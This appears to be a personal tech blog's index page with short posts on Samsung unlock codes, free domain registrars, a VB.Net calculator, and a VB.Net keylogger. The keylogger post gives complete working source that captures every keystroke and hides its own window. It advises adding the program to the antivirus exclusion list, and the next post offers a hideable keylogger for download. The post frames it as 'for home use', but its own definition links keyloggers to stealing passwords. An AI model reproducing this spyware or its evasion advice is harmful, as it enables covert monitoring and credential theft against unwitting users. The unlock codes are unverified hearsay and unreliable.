Samsung mobile unlock codes & tricks

Recently i got a PDF from my friend which includes samsung mobile unlocks code & tricks.
So i have listed few of them, if you want more then download this PDF Listed below.

Some unlock codes :
To unlock your phone put a
sim from another company,
now type *#9998*3323#
it will reset your phone. Push
exit and then push 7,
it will reset again. Put your
other sim in and it will say sim
lock,
type in 00000000 then it should
be unlocked. Type in *0141#
then the green call batton and
it’s unlocked to all networks.
This code may not work on the
older phones and some of the
newer phones.
If it doesn’t work you will have
to reset your phone without a
sim in it by typing
*#2767*2878# or
*#9998*3855#

Download PDF (Samsung galaxy tip & tricks) 

Read More

Free Domain Name Registration Sites

Well ,everyone want free domain name for their blog .So i have made a list of websites who provide free domain names for your blog or website.But still i dont recommend any free domain name registration because these are low level domains, spend few dollars and buy a ".Com" would be a great choice

List :

1. DotTk :If you want a free .tk domain then now you can get it from dot.tk .You can register unlimited domains on it.But some Domains are paid.
2. Co.cc : Expired
3. Cc.cz: This is one of the uncommon domain,and so known by lessusers.Get this domain from cc.cz
4. Co.nr :- This is now one of he domain which is getting popular among bloggers and you can get it from co.nr address.
5. Eu.org: Is your blog an organization? better use this freedomain.Get it from Eu.org address.
6. Za.net & za.org:This is other uncommon domain but its worth a try friends!
7. .Free: get this domain for free from dotfree.com.If you are providing free stuff on your blog then this is the best domain as it would suit your blog address too!
8. Cu.cc:it was one of the best and popular domains among bloggers but now as cu.cc sites are deindexed from Google [not Recommanded]
9. Uni.me:- This is another unique free domain which i found in one of the blogs,it was founded in december 2011 and is getting popular day by day
10. tbo.it:-Its uncommon domain registrar and haven’t tried it once but reviews of it are good.You can get such type of domainsredirect.it
11. freeurl.cc:Its other free domain but its not recommanded as i have never tried it! but you can get this domain from freeurl.cc
12. me.cc:Its another cool domain which i found on google.You can get this domain from me.cc
13. ne1.net: Its another low profile domain which is free to choose you can get get from ne1.net :)
14. com.nu:Its other good free domain that you can use and there are also other free domain options that you can choose, take this domain and such other types of it from com.nu
15. biz.ly Hosting:-If you want free wordpress hosting you can with their official free domain too visit them at biz.ly

Read More

Create a simple keylogger for home use in VB.Net

In this tutorial we will see "How to create a simple keylogger in Visual Basic".First of all What is a Keylogger ?

Keylogger : A computer program that records every keystroke made by a computer user, especially in order to gain fraudulent access to passwords and other confidential information.

Steps :

1)Create a new project in Visual studio .
2)Add three buttons on your form and name them Start Recording,Stop Recording & Hide respectively.
3)Add a RichTextBox & a Timer.
4)Now,double click your form and erase the entire code & paste the code given below.

Watch Video Tutorial :

 Code :

'Coded by Dadhackers.blogspto.com(Abhishek Choudhary) Public Class Form1 Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Integer) As Short Public log As String Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click Timer1.Start() Button1.Text = "Started !" Button2.Text = "Stop Recording" End Sub Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click Timer1.Stop() Button1.Text = "Start Recording" Button2.Text = "Stopped !" End Sub Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick If (GetAsyncKeyState(65)) Then log = log + "A" ElseIf (GetAsyncKeyState(66)) Then log = log + "B" ElseIf (GetAsyncKeyState(67)) Then log = log + "C" ElseIf (GetAsyncKeyState(68)) Then log = log + "D" ElseIf (GetAsyncKeyState(69)) Then log = log + "E" ElseIf (GetAsyncKeyState(70)) Then log = log + "F" ElseIf (GetAsyncKeyState(71)) Then log = log + "G" ElseIf (GetAsyncKeyState(72)) Then log = log + "H" ElseIf (GetAsyncKeyState(73)) Then log = log + "I" ElseIf (GetAsyncKeyState(74)) Then log = log + "J" ElseIf (GetAsyncKeyState(75)) Then log = log + "K" ElseIf (GetAsyncKeyState(76)) Then log = log + "L" ElseIf (GetAsyncKeyState(77)) Then log = log + "M" ElseIf (GetAsyncKeyState(78)) Then log = log + "N" ElseIf (GetAsyncKeyState(79)) Then log = log + "O" ElseIf (GetAsyncKeyState(80)) Then log = log + "P" ElseIf (GetAsyncKeyState(81)) Then log = log + "Q" ElseIf (GetAsyncKeyState(82)) Then log = log + "R" ElseIf (GetAsyncKeyState(83)) Then log = log + "S" ElseIf (GetAsyncKeyState(84)) Then log = log + "T" ElseIf (GetAsyncKeyState(85)) Then log = log + "U" ElseIf (GetAsyncKeyState(86)) Then log = log + "V" ElseIf (GetAsyncKeyState(87)) Then log = log + "W" ElseIf (GetAsyncKeyState(88)) Then log = log + "X" ElseIf (GetAsyncKeyState(89)) Then log = log + "Y" ElseIf (GetAsyncKeyState(90)) Then log = log + "Z" ElseIf (GetAsyncKeyState(48)) Then log = log + "0" ElseIf (GetAsyncKeyState(49)) Then log = log + "1" ElseIf (GetAsyncKeyState(50)) Then log = log + "2" ElseIf (GetAsyncKeyState(51)) Then log = log + "3" ElseIf (GetAsyncKeyState(52)) Then log = log + "4" ElseIf (GetAsyncKeyState(53)) Then log = log + "5" ElseIf (GetAsyncKeyState(54)) Then log = log + "6" ElseIf (GetAsyncKeyState(55)) Then log = log + "7" ElseIf (GetAsyncKeyState(56)) Then log = log + "8" ElseIf (GetAsyncKeyState(57)) Then log = log + "9" ElseIf (GetAsyncKeyState(96)) Then log = log + "{Num0}" ElseIf (GetAsyncKeyState(97)) Then log = log + "{Num1}" ElseIf (GetAsyncKeyState(98)) Then log = log + "{Num2}" ElseIf (GetAsyncKeyState(99)) Then log = log + "{Num3}" ElseIf (GetAsyncKeyState(100)) Then log = log + "{Num4}" ElseIf (GetAsyncKeyState(101)) Then log = log + "{Num5}" ElseIf (GetAsyncKeyState(102)) Then log = log + "{Num6}" ElseIf (GetAsyncKeyState(103)) Then log = log + "{Num7}" ElseIf (GetAsyncKeyState(104)) Then log = log + "{Num8}" ElseIf (GetAsyncKeyState(105)) Then log = log + "{Num9}" ElseIf (GetAsyncKeyState(106)) Then log = log + "{Num*}" ElseIf (GetAsyncKeyState(107)) Then log = log + "{Num+}" ElseIf (GetAsyncKeyState(13)) Then log = log + "{Enter}" ElseIf (GetAsyncKeyState(109)) Then log = log + "{Num-}" ElseIf (GetAsyncKeyState(110)) Then log = log + "{Num.}" ElseIf (GetAsyncKeyState(111)) Then log = log + "{Num/}" ElseIf (GetAsyncKeyState(32)) Then log = log + " " ElseIf (GetAsyncKeyState(8)) Then log = log + "{Backspace}" ElseIf (GetAsyncKeyState(9)) Then log = log + "{Tab}" ElseIf (GetAsyncKeyState(16)) Then log = log + "{Shift}" ElseIf (GetAsyncKeyState(17)) Then log = log + "{Control}" ElseIf (GetAsyncKeyState(20)) Then log = log + "{Caps}" ElseIf (GetAsyncKeyState(27)) Then log = log + "{Esc}" ElseIf (GetAsyncKeyState(33)) Then log = log + "{PGup}" ElseIf (GetAsyncKeyState(34)) Then log = log + "{PGdn}" ElseIf (GetAsyncKeyState(35)) Then log = log + "{End}" ElseIf (GetAsyncKeyState(36)) Then log = log + "{Home}" ElseIf (GetAsyncKeyState(37)) Then log = log + "{LArrow}" ElseIf (GetAsyncKeyState(38)) Then log = log + "{UArrow}" ElseIf (GetAsyncKeyState(39)) Then log = log + "{RArrow}" ElseIf (GetAsyncKeyState(40)) Then log = log + "{DArrow}" ElseIf (GetAsyncKeyState(45)) Then log = log + "{Insert}" ElseIf (GetAsyncKeyState(46)) Then log = log + "{Del}" ElseIf (GetAsyncKeyState(144)) Then log = log + "{NumLock}" ElseIf (GetAsyncKeyState(188)) Then log = log + "{,}" End If RichTextBox1.Text = log Dim hotkey1 As Boolean hotkey1 = GetAsyncKeyState(Keys.K) If My.Computer.Keyboard.CtrlKeyDown AndAlso My.Computer.Keyboard.ShiftKeyDown AndAlso hotkey1 Then Me.Visible = True Me.ShowInTaskbar = True End If End Sub Private Sub Button3_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button3.Click MsgBox("Press Ctrl+Shift+K to make keylogger visible !", MsgBoxStyle.Information) Me.Visible = "false" Me.ShowInTaskbar = "false" End Sub End Class                                                                                                                      

Note -  Dectected by antivirus , so do add to exclusion list .

Read More

BittOo's Keylogger

Recently i have made a keylogger for my personal use.
I had just made some changes for publishing.
Its not that much cool it very simple , you can download it free below.

Features :
1) Save keystrokes in a textfile.
2) Can be hidden easily.
3) Portable.

Requirements :
Dot Netframwork 4.0 (Download Here)

Screenshot :

          Download Link :

Read More

Visual Basic 2010 Tutorial: How to make a simple calculator

Watch Tutorial :

Codes :

Public Class Form1 Dim FirstNumber As Single Dim SecondNumber As Single Dim AnswerNumber As Single Dim ArithmeticProcess As String Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click TextBox1.Text = TextBox1.Text & 1 End Sub Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load End Sub Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click TextBox1.Text = TextBox1.Text & 2 End Sub Private Sub Button3_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button3.Click TextBox1.Text = TextBox1.Text & 3 End Sub Private Sub Button4_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button4.Click TextBox1.Text = TextBox1.Text & 4 End Sub Private Sub Button5_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button5.Click TextBox1.Text = TextBox1.Text & 5 End Sub Private Sub Button6_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button6.Click TextBox1.Text = TextBox1.Text & 6 End Sub Private Sub Button7_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button7.Click TextBox1.Text = TextBox1.Text & 7 End Sub Private Sub Button8_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button8.Click TextBox1.Text = TextBox1.Text & 8 End Sub Private Sub Button9_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button9.Click TextBox1.Text = TextBox1.Text & 9 End Sub Private Sub Button13_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button13.Click FirstNumber = Val(TextBox1.Text) TextBox1.Text = "0" ArithmeticProcess = "+" End Sub Private Sub Button12_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button12.Click SecondNumber = Val(TextBox1.Text) If ArithmeticProcess = "+" Then AnswerNumber = FirstNumber + SecondNumber End If If ArithmeticProcess = "-" Then AnswerNumber = FirstNumber - SecondNumber End If If ArithmeticProcess = "X" Then AnswerNumber = FirstNumber * SecondNumber End If If ArithmeticProcess = "/" Then AnswerNumber = FirstNumber / SecondNumber End If TextBox1.Text = AnswerNumber End Sub Private Sub Button14_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button14.Click FirstNumber = Val(TextBox1.Text) TextBox1.Text = "0" ArithmeticProcess = "-" End Sub Private Sub Button16_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button16.Click FirstNumber = Val(TextBox1.Text) TextBox1.Text = "0" ArithmeticProcess = "X" End Sub Private Sub Button15_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button15.Click FirstNumber = Val(TextBox1.Text) TextBox1.Text = "0" ArithmeticProcess = "/" End Sub Private Sub Button11_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button11.Click TextBox1.Text = TextBox1.Text & "." End Sub Private Sub Button10_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button10.Click TextBox1.Text = TextBox1.Text & 0 End Sub End Class

Read More